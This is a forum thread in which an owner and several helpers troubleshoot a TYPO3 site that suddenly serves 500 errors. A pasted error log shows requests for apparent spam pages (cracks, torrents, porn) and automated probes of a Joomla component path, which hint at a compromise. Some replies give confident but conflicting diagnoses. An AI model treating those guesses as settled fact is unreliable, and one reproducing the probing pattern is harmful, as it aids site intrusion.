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Web site has disappeared....

  • 08-03-2009 8:21pm
    #1
    suas
    Closed Accounts Posts: 89 ✭✭


    I just noticed that our website at suas.ie has disappeared. All was working well, and we haven't made any changes to anything.

    Obviously, the first thing to do in the morning is to get on to the hosting company and our web developers, but can I do anything tonight to try and pinpoint the problem?

    Here's what I know:
    suas.ie is loading white pages - 500 Internal error
    It's not responding to pings 78.137.166.5 (Shared IP)

    This makes me think it's a problem with our hosts - I can't get a ping reply from web6.hosting.digiweb.ie either (turns out it's the same IP)

    So, it looks like there's nothing I can do except wait til morning. That right?

    EDIT: Using http://www.yougetsignal.com/tools/web-sites-on-web-server/ I can see a list of all the other websites that are on that shared hosting server and the ones I checked seem to load up fine. So, maybe there isn't an issue with the hosting at all.

    Any tips on how to find out where the problem is, please?


Comments

  • #2
    EKRIUQ
    Registered Users, Registered Users 2 Posts: 4,387 ✭✭✭EKRIUQ


    When you call up your a site and all you get is a blank page, it usually means that an error occured with your PHP and is configured not to display any error messages.

    The error could be in you configuration.php page if you have a back up you could try reloading that or it could a error trying to connect to your data base, normally when this happens to me it's because I've left a comma or apostrophe out.

    Is their a debug mode in the admin panel ?

    What software was the website running on?


  • #3
    louie
    Closed Accounts Posts: 1,200 ✭✭✭louie


    It looks like some problems with the code.
    Have you made any changes lately?


  • #4
    suas
    Closed Accounts Posts: 89 ✭✭suas


    It's a typo3 site - which does use PHP, so what you're suggesting makes sense.

    I can't find a debug mode in the H-sphere control panel.

    It's weird that this just happened - we weren't working on the back end at all, so I'm a little worried that it might have been hacked or something.

    :eek: but mostly :confused:


  • #5
    louie
    Closed Accounts Posts: 1,200 ✭✭✭louie


    If it was a hack there will be something in the source code, but your page is totally blank which means there is some bad php code breaking the website somewhere in the header.

    Google has a cache of the website since the 3rd of this month so anything you did after that up to today (like an upgrade, add-on)?


  • #6
    suas
    Closed Accounts Posts: 89 ✭✭suas


    I'd understand that if we'd done any work on that side of things in the past little while - but no, we haven't. As it happens, I don't think anyone has even made any changes to text via the CMS in the past 4 days. odd....

    I can't reconcile that with the fact that suas.ie isn't responding to pings - is that a symptom of a PHP problem?


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  • #7
    louie
    Closed Accounts Posts: 1,200 ✭✭✭louie


    That's actually very weird.
    Did you get in touch with the hosting provider (digiweb.ie)?


  • #8
    suas
    Closed Accounts Posts: 89 ✭✭suas


    Only just this morning, took a little while to get through (kept going to voicemail instead of a call queueing system)... and they're looking into it.

    I don't know much about this area - but I suspect the problem has something to do with PHP on the server, because we didn't make any changes to our site and none of the other sites that I checked on the shared hosting server seemed to be using PHP.

    I'll know soon enough, the call was passed on to someone at the next level of tech support and they're looking into it.

    It's a curious one, some of the symptoms would suggest that everything is fine with the hosting - http://suas.ie/Helloworld.html is fine -, but others like the ping problem tell me I've got a problem there.

    Thanks for the advice so far. If you're interested, I could post updates.

    EDIT: Digiweb got back to us to say that their tests show no problem at all between PHP and the database and the reason that we can't ping the site is because ICMP traffic is turned off (so no-one can ping the site, at all) and that the problem is up to my developers to solve.

    They're working on it. What's most confusing is that no-one has made any changes to anything lately, and it just stopped working last night. Bizzare. The developers are very busy, if anyone can save them time by suggesting what to investigate I'd be very grateful.


  • #9
    stevire
    Registered Users, Registered Users 2 Posts: 1,512 ✭✭✭stevire


    Look for the .htacess file. Create a backup, then add these lines of code in at the top of the file (open with text editor)
        php_flag    display_errors          on
    php_flag    display_startup_errors  on
    php_value   error_reporting         2047

    That should show you your errors. This may not be a hosting problem...


  • #10
    suas
    Closed Accounts Posts: 89 ✭✭suas


    I'll do that to the htaccess file now, thanks.

    Yeah - I'm not sure it's anything to do with our hosts at all (from their point of view, they only know about it an hour and a half, since 9am Monday, and they've already escalted it and gotten back to me), I'm just trying to get to the bottom of this problem so that I know who I can ask for help.


  • #11
    merlie
    Registered Users, Registered Users 2 Posts: 673 ✭✭✭merlie


    suas wrote: »
    Only just this morning, took a little while to get through (kept going to voicemail instead of a call queueing system)... and they're looking into it.

    I don't know much about this area - but I suspect the problem has something to do with PHP on the server, because we didn't make any changes to our site and none of the other sites that I checked on the shared hosting server seemed to be using PHP.

    I'll know soon enough, the call was passed on to someone at the next level of tech support and they're looking into it.

    It's a curious one, some of the symptoms would suggest that everything is fine with the hosting - http://suas.ie/Helloworld.html is fine -, but others like the ping problem tell me I've got a problem there.

    Thanks for the advice so far. If you're interested, I could post updates.


    I just looked at your website suas.ie and it comes up as a blank white screen. I then went to a broswer and typed in the name of the site and clicked on it from there, still same result, then I checked cached and it comes up on that only.

    It is obviously your web host that is the cause of the site malfunction. I hope your problem gets resolved soon.

    Good luck


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  • #12
    merlie
    Registered Users, Registered Users 2 Posts: 673 ✭✭✭merlie


    I also looked up a web browser. Some one else has same problem as yourself.

    Here is a link. Maybe the answers there may be of help to you.

    http://www.zen-cart.com/forum/showthread.php?t=89216


  • #13
    stevire
    Registered Users, Registered Users 2 Posts: 1,512 ✭✭✭stevire


    I just noticed you have HTML pages on there aswell, this shouldn't be affected if there was an error in the PHP. I had a quick skim over it with firebug, it comes up as a 500 Internal Server Error, this error has nothing to do with the client-side and the error is on the hosting side. I'd advise getting on to your hosts again and tell them you're getting a 500 internal server error...


  • #14
    suas
    Closed Accounts Posts: 89 ✭✭suas


    I'll get on to them, but they don't think it's something on their end.

    My simple simple html test page is loading up fine. http://suas.ie/Helloworld.html

    I've made those changes to the .htaccess file that you suggested - did they have any effect?

    Also, I looked at the error logs in the control panel and perhaps it's normal (first time I've looked at it, but there are just a steady stream of 'file does not exist' requests
    [Mon Mar 9 02:12:33 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document116/58.h
[Mon Mar 9 02:13:25 2009] [error] [client 68.35.2.238] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document54/images/img04.gif
[Mon Mar 9 02:13:35 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document73/1.ht</font></td> </tr> </table><hr> <table width=
[Mon Mar 9 02:14:02 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document101/84.h
[Mon Mar 9 02:14:14 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document116/blackberry-unlock-calculator-torrent.html
[Mon Mar 9 02:14:23 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document73/1.ht</font></td> </tr> </wildlife-park-spolszczenie-download.html
[Mon Mar 9 02:14:38 2009] [error] [client 68.35.2.238] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document54/images/img04.gif
[Mon Mar 9 02:14:55 2009] [error] [client 64.59.144.85] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document61/images/img04.gif
[Mon Mar 9 02:14:56 2009] [error] [client 64.59.144.85] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document61/images/deer-hunter-2003-download.html
[Mon Mar 9 02:15:50 2009] [error] [client 76.122.128.49] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/misc/misc171/images/c.gif
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[Mon Mar 9 02:24:21 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document11/74.ht
[Mon Mar 9 02:24:22 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document11/blackberry-unlock-calculator-torrent.html
[Mon Mar 9 02:26:57 2009] [error] [client 76.21.201.104] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/misc/misc156/images/img04.gif
[Mon Mar 9 02:30:28 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document40/33.ht
[Mon Mar 9 02:30:29 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document40/crack-osenxpsuite-2007.html
[Mon Mar 9 02:36:53 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document97/30.ht
[Mon Mar 9 02:36:56 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document97/download-iis6.cab.html
[Mon Mar 9 02:40:24 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/fileadmin/9269.html
[Mon Mar 9 03:06:44 2009] [error] [client 72.241.41.38] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/misc/misc31/images/c.gif
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[Mon Mar 9 03:12:47 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document53/7.htm
[Mon Mar 9 03:12:48 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document53/rap-videos.html
[Mon Mar 9 03:20:24 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/fileadmin/1809.html
[Mon Mar 9 03:22:49 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document94/393.h
[Mon Mar 9 03:23:20 2009] [error] [client 71.103.203.187] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/misc/misc106/images/img04.gif
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[Mon Mar 9 03:24:39 2009] [error] [client 72.233.30.186] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin//impex/ImpExData.php
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[Mon Mar 9 03:32:50 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/misc/misc100/index.ht
[Mon Mar 9 03:32:52 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/misc/misc100/crack-osenxpsuite-2007.html
[Mon Mar 9 03:37:39 2009] [error] [client 99.243.176.153] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document54/images/img04.gif
[Mon Mar 9 03:37:44 2009] [error] [client 24.64.168.18] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/misc/misc156/images/img04.gif
[Mon Mar 9 03:51:53 2009] [error] [client 83.147.184.181] File does not exist: /hsphere/local/home/suasie/suas.ie/dsa
[Mon Mar 9 04:03:43 2009] [error] [client 201.170.162.77] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document115/images/img022.jpg
[Mon Mar 9 04:04:27 2009] [error] [client 201.170.162.77] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document115/images/img022.jpg
[Mon Mar 9 04:04:41 2009] [error] [client 201.170.162.77] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document115/images/img022.jpg
[Mon Mar 9 04:06:47 2009] [error] [client 201.170.162.77] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document115/images/img022.jpg
[Mon Mar 9 04:12:41 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document3/83.htm
[Mon Mar 9 04:12:42 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document3/ftp-65.215.90.184.html
[Mon Mar 9 04:18:37 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document94/98.htm</font></TD></TR><TR> <TD align=
[Mon Mar 9 04:18:38 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document94/98.htm</font></TD></rap-videos.html
[Mon Mar 9 04:24:53 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document32/39.ht
[Mon Mar 9 04:24:54 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document32/naked-news-pass.html
[Mon Mar 9 04:31:03 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document78/116.h
[Mon Mar 9 04:31:04 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document78/rap-videos.html
[Mon Mar 9 04:37:28 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/fileadmin/Documents/Prog_Support/e0cf0935e7329e76c49a7a8647d27daf.html
[Mon Mar 9 04:37:30 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document13/149.h
[Mon Mar 9 04:37:31 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document13/wildlife-park-spolszczenie-download.html
[Mon Mar 9 05:12:15 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document68/21.ht
[Mon Mar 9 05:12:16 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document103/48.h
[Mon Mar 9 05:12:16 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document21/95.ht
[Mon Mar 9 05:12:17 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/misc/misc16/index.html</font></TD></TR><TR> <TD align=
[Mon Mar 9 05:12:18 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/misc/misc72/2.html</font></td> </tr> </table><hr> <table width=
[Mon Mar 9 05:12:19 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document68/empires2.exe-download.html
[Mon Mar 9 05:12:20 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document103/free-porn-streams.html
[Mon Mar 9 05:12:21 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document21/free-porn-streams.html
[Mon Mar 9 05:12:22 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/misc/misc16/index.html</font></TD></wildlife-park-spolszczenie-download.html
[Mon Mar 9 05:12:24 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/misc/misc72/2.html</font></td> </tr> </wildlife-park-spolszczenie-download.html
[Mon Mar 9 05:14:50 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbull etin/misc/misc124/52.html
[Mon Mar 9 05:20:19 2009] [error] [client 204.210.230.30] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/misc/misc171/images/c.gif
[Mon Mar 9 05:33:29 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbull etin/misc/misc124/92.html
[Mon Mar 9 05:35:32 2009] [error] [client 70.112.128.26] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/misc/misc105/images/img04.gif
[Mon Mar 9 05:37:16 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbull etin/misc/misc124/91.html
[Mon Mar 9 05:49:08 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbull etin/misc/misc124/68.html
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[Mon Mar 9 06:05:32 2009] [error] [client 77.221.130.3] File does not exist: /hsphere/local/home/suasie/suas.ie//administrator/components/com_panoramic/admin.panoramic.php
[Mon Mar 9 06:05:32 2009] [error] [client 77.221.130.3] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/misc//administrator/components/com_panoramic/admin.panoramic.php
[Mon Mar 9 06:05:33 2009] [error] [client 77.221.130.3] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/misc//administrator/components/com_panoramic/deer-hunter-2003-download.html
[Mon Mar 9 06:05:46 2009] [error] [client 77.221.130.3] File does not exist: /hsphere/local/home/suasie/suas.ie//administrator/components/com_panoramic/admin.panoramic.php
[Mon Mar 9 06:05:46 2009] [error] [client 77.221.130.3] File does not exist: /hsphere/local/home/suasie/suas.ie/fileadmin/Documents/Ireland/The_Bridge_to_College//administrator/components/com_panoramic/admin.panoramic.php
[Mon Mar 9 06:05:47 2009] [error] [client 77.221.130.3] File does not exist: /hsphere/local/home/suasie/suas.ie/fileadmin/Documents/Ireland/The_Bridge_to_College//administrator/components/com_panoramic/rap-videos.html
[Mon Mar 9 06:10:36 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbull etin/misc/misc124/56.html
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[Mon Mar 9 06:12:24 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document12/199.html&nbspMazda&nbspOf&nbspAmerica
[Mon Mar 9 06:12:25 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document12/204.html&nbspMazda&nbspMpv&nbspReviews
[Mon Mar 9 06:12:26 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document12/203.html&nbspMazda&nbspMpv&nbspSteering&nbspProblems
[Mon Mar 9 06:12:27 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document14/99.html&nbspSubaru&nbspPetals&nbspClutch
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[Mon Mar 9 06:12:29 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document12/garage-sale-seriennr.html
[Mon Mar 9 06:12:30 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document12/crack-osenxpsuite-2007.html
[Mon Mar 9 06:12:32 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document12/naked-news-pass.html
[Mon Mar 9 06:12:34 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document14/crack-osenxpsuite-2007.html
[Mon Mar 9 06:13:22 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document12/207.html&nbspMazda&nbspMpv&nbspMinivan
[Mon Mar 9 06:13:23 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document12/rap-videos.html
[Mon Mar 9 06:14:42 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document14/102.html&nbspSubaru&nbspRadiator&nbspHose
[Mon Mar 9 06:14:43 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document14/wildlife-park-spolszczenie-download.html
[Mon Mar 9 06:15:23 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbull etin/misc/misc124/73.html
[Mon Mar 9 06:16:01 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document14/109.html&nbspSubaru&nbspMeet&nbspMay&nbsp20
[Mon Mar 9 06:16:02 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document14/free-porn-streams.html
[Mon Mar 9 06:17:20 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document14/110.html&nbspSubaru&nbspOf&nbspFairfield
[Mon Mar 9 06:17:21 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document14/download-iis6.cab.html
[Mon Mar 9 06:18:40 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document12/202.html&nbspMazda&nbspMx6&nbspComputers
[Mon Mar 9 06:19:59 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document10/148.h
[Mon Mar 9 06:20:00 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document10/free-porn-streams.html
[Mon Mar 9 06:20:18 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbull etin/misc/misc124/89.html
[Mon Mar 9 06:21:19 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document12/208.html&nbspMazda&nbspMpv&nbspLoad&nbspLeveler&nbspRelay
[Mon Mar 9 06:21:19 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document12/empires2.exe-download.html
[Mon Mar 9 06:22:38 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document14/105.html&nbspSubaru&nbspPetals
[Mon Mar 9 06:22:39 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document14/rap-videos.html
[Mon Mar 9 06:23:57 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document14/101.html&nbspSubaru&nbspRadiators
[Mon Mar 9 06:25:17 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document12/201.html&nbspMazda&nbspMx6&nbspCustomized
[Mon Mar 9 06:25:17 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document12/free-porn-streams.html
[Mon Mar 9 06:26:36 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document14/106.html&nbspSubaru&nbspPerformance&nbspParts&nbspFor&nbsp1.8
[Mon Mar 9 06:26:37 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document14/naked-news-pass.html
[Mon Mar 9 06:27:55 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document14/108.html&nbspSubaru&nbspParts.Com
[Mon Mar 9 06:27:56 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document14/ftp-65.215.90.184.html
[Mon Mar 9 06:28:14 2009] [error] [client 61.135.249.209] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document2/91.htm
[Mon Mar 9 06:28:29 2009] [error] [client 61.135.249.209] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document2/blackberry-unlock-calculator-torrent.html
[Mon Mar 9 06:28:40 2009] [error] [client 61.135.249.209] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document1/35.htm
[Mon Mar 9 06:28:47 2009] [error] [client 61.135.249.209] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document1/empires2.exe-download.html
[Mon Mar 9 06:28:55 2009] [error] [client 61.135.249.209] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document2/184.ht
[Mon Mar 9 06:28:57 2009] [error] [client 61.135.249.209] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document2/crack-osenxpsuite-2007.html
[Mon Mar 9 06:29:03 2009] [error] [client 61.135.249.209] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document1/98.htm
[Mon Mar 9 06:29:07 2009] [error] [client 61.135.249.209] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document1/download-iis6.cab.html
[Mon Mar 9 06:29:14 2009] [error] [client 61.135.249.209] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document1/189.ht
[Mon Mar 9 06:29:15 2009] [error] [client 61.135.249.209] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document1/crack-osenxpsuite-2007.html
[Mon Mar 9 06:29:15 2009] [error] [client 66.249.72.7] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document14/107.html&nbspSubaru&nbspSantamonica
[Mon Mar 9 06:29:23 2009] [error] [client 61.135.249.209] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document2/29.htm
[Mon Mar 9 06:29:23 2009] [error] [client 61.135.249.209] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document2/rap-videos.html
[Mon Mar 9 06:29:30 2009] [error] [client 61.135.249.209] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document9/17.htm
[Mon Mar 9 06:29:31 2009] [error] [client 61.135.249.209] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document9/garage-sale-seriennr.html
[Mon Mar 9 06:29:38 2009] [error] [client 61.135.249.209] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document8/162.ht
[Mon Mar 9 06:29:39 2009] [error] [client 61.135.249.209] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/docs/document8/download-iis6.cab.html
[Mon Mar 9 06:29:45 2009] [error] [client 61.135.249.209] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/misc/misc8/3.html Dooney And Bourke Handbag Sale
[Mon Mar 9 06:29:47 2009] [error] [client 61.135.249.209] File does not exist: /hsphere/local/home/suasie/suas.ie/vbulletin/misc/misc8/garage-sale-seriennr.html


  • #15
    stevire
    Registered Users, Registered Users 2 Posts: 1,512 ✭✭✭stevire


    They all relate to your message board:

    http://suas.ie/vbulletin/

    That's working fine so the errors shouldn't affect the rest of your website!


  • #16
    stevire
    Registered Users, Registered Users 2 Posts: 1,512 ✭✭✭stevire


    View the contents of your index file in your filemanager/ftp client and post your findings!


  • #17
    suas
    Closed Accounts Posts: 89 ✭✭suas


    stevire wrote: »
    View the contents of your index file in your filemanager/ftp client and post your findings!


    Index.php
    <?php
/***************************************************************
*  Copyright notice
*
*  (c) 1999-2005 Kasper Skaarhoj (kasperYYYY@typo3.com)
*  All rights reserved
*
*  This script is part of the TYPO3 project. The TYPO3 project is
*  free software; you can redistribute it and/or modify
*  it under the terms of the GNU General Public License as published by
*  the Free Software Foundation; either version 2 of the License, or
*  (at your option) any later version.
*
*  The GNU General Public License can be found at
*  http://www.gnu.org/copyleft/gpl.html.
*  A copy is found in the textfile GPL.txt and important notices to the license
*  from the author is found in LICENSE.txt distributed with these scripts.
*
*
*  This script is distributed in the hope that it will be useful,
*  but WITHOUT ANY WARRANTY; without even the implied warranty of
*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
*  GNU General Public License for more details.
*
*  This copyright notice MUST APPEAR in all copies of the script!
***************************************************************/
/**
 * This is the MAIN DOCUMENT of the TypoScript driven standard front-end (from the "cms" extension)
 * Basically this is the "index.php" script which all requests for TYPO3 delivered pages goes to in the frontend (the website)
 *
 * $Id: index.php 1421 2006-04-10 09:27:15Z mundaun $
 *
 * @author	Ren&#233; Fritz <r.fritz@colorcube.de>
 * @package TYPO3
 * @subpackage tslib
 */

// *******************************
// Set error reporting
// *******************************

error_reporting (E_ALL ^ E_NOTICE);


// ******************
// Constants defined
// ******************

define('PATH_thisScript',str_replace('//','/', str_replace('\\','/', (php_sapi_name()=='cgi'||php_sapi_name()=='isapi' ||php_sapi_name()=='cgi-fcgi')&&($_SERVER['ORIG_PATH_TRANSLATED']?$_SERVER['ORIG_PATH_TRANSLATED']:$_SERVER['PATH_TRANSLATED'])? ($_SERVER['ORIG_PATH_TRANSLATED']?$_SERVER['ORIG_PATH_TRANSLATED']:$_SERVER['PATH_TRANSLATED']):($_SERVER['ORIG_SCRIPT_FILENAME']?$_SERVER['ORIG_SCRIPT_FILENAME']:$_SERVER['SCRIPT_FILENAME']))));

define('PATH_site', dirname(PATH_thisScript).'/');

if (@is_dir(PATH_site.'typo3/sysext/cms/tslib/')) {
	define('PATH_tslib', PATH_site.'typo3/sysext/cms/tslib/');
} elseif (@is_dir(PATH_site.'tslib/')) {
	define('PATH_tslib', PATH_site.'tslib/');
} else {

	// define path to tslib/ here:
	$configured_tslib_path = '';

	// example:
	// $configured_tslib_path = '/var/www/mysite/typo3/sysext/cms/tslib/';

	define('PATH_tslib', $configured_tslib_path);
}

if (PATH_tslib=='') {
	die('Cannot find tslib/. Please set path by defining $configured_tslib_path in '.basename(PATH_thisScript).'.');
}

// ******************
// include TSFE
// ******************

require (PATH_tslib.'index_ts.php');

?>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
<script type="text/javascript">
_uacct = "UA-1513501-1";
urchinTracker();
</script>


  • #18
    stevire
    Registered Users, Registered Users 2 Posts: 1,512 ✭✭✭stevire


    Did you make any changes to the server. i.e website changes, installation of an application?


  • #19
    suas
    Closed Accounts Posts: 89 ✭✭suas


    Nothing.

    Our developer haven't been working on the site (it's only them that would install an application etc) in the past month and all we do on our end is simple changes via the CMS and we haven't even made any of them in the past few days - the site just died yesterday and the last change was made on Thursday afaik.

    That's what made me think it might have been hacked - or else maybe something just got corrupted on the server?

    EDIT: http://www.suas.ie/phpinfo.php is working fine if that tells you anything!


  • #20
    democrates
    Closed Accounts Posts: 2,046 ✭✭✭democrates


    It may be nothing but this file
    typo3/sysext/cms/layout/db_new_content_el.php
    was last modified 2 Mar 14:51

    PS you might want to turn directory listing off in hsphere.


  • #21
    stevire
    Registered Users, Registered Users 2 Posts: 1,512 ✭✭✭stevire


    Can you log into the backend?


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  • #22
    suas
    Closed Accounts Posts: 89 ✭✭suas


    democrates wrote: »
    It may be nothing but this file
    typo3/sysext/cms/layout/db_new_content_el.php
    was last modified 2 Mar 14:51

    PS you might want to turn directory listing off in hsphere.

    As far as I remember, that's very close to the last time that we made a change (new image on the front page) via the CMS, so perhaps that explains that change.

